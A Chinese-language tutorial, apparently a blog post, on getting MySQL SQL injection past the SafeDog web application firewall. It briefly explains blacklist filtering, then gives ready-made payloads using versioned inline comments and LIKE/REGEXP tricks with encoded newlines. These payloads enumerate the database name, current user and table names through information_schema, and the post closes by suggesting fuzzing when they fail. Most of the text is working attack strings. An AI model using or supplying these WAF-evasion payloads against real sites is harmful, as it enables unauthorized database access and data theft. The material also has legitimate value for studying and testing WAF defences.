前期知识
网站安全狗是一款集网站内容安全防护、网站资源保护及网站流量保护功能为一体的服务器工具,WAF检测一般分为两种,一种白名单,一种黑名单。白名单相对于黑名单来说,更加安全,但是白名单由于设置的比较严格,有时会影响用户的正常访问,所以WAF还是用黑名单的比较多。
黑名单
WAF禁止了一些有关攻击语句的函数,用户一旦输入这些函数,就会被WAF拦截
演示开始
首先发现有注入,大多数人都是老方法(and 1=1)嘛,但是看效果
由于安全狗的防护,检测到了and函数,所以开始绕
内联注释绕过
内联注释绕过在一般的数据库是不会执行的,但是在mysql中内联注释中的语句会被执行,当!后面接数据库版本号时,如果自身版本号大于等于字符数,就会将注释中的内容执行,否则就会当做注释来处理。(但也不绝对,还得自己用burp跑一下确定版本号)
模糊查询绕过
LIKE//REGEXP 方法
相当于select * from student where snO=1 like "[%23]"为空
也就是说,就执行了select * from student;
所以
id=-1’ like “[%23]” /!10440union%0aselect/ 1,2,3 --+
1' REGEXP "[…%0a%23]" /*!11444 order %0a by*/ 1 --+
1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,2,3 --+
也是可以的,REGEXP用法跟LIKE差不多,也是模糊查询
union /*//*//*!50344select*/1,2,3 --+
查询数据库用户名和表信息
查询这些分别注意union和select连接,from和表连接,还有database()括号的连接,需要用到以上方法结合起来
查询库
union /*//*//*!50344select*/1,2,database(/*!50644*/) --+
查询用户名
-1' REGEXP "[…%0a%23]" /*!11444union %0a select*/ 1,user(%0a /*!80000aaa*/),3 -- +
查询表名
?id=-1' union/*/!*!**/select%201,2,group_concat(table_name)from %0a /*!11444 /*REGEXP "[…%0a%23]"*/ %0a information_schema.tables*/ where table_schema='security'--+
等等
暂时是都可以绕过的,如果不行,可以试试FUZZ大法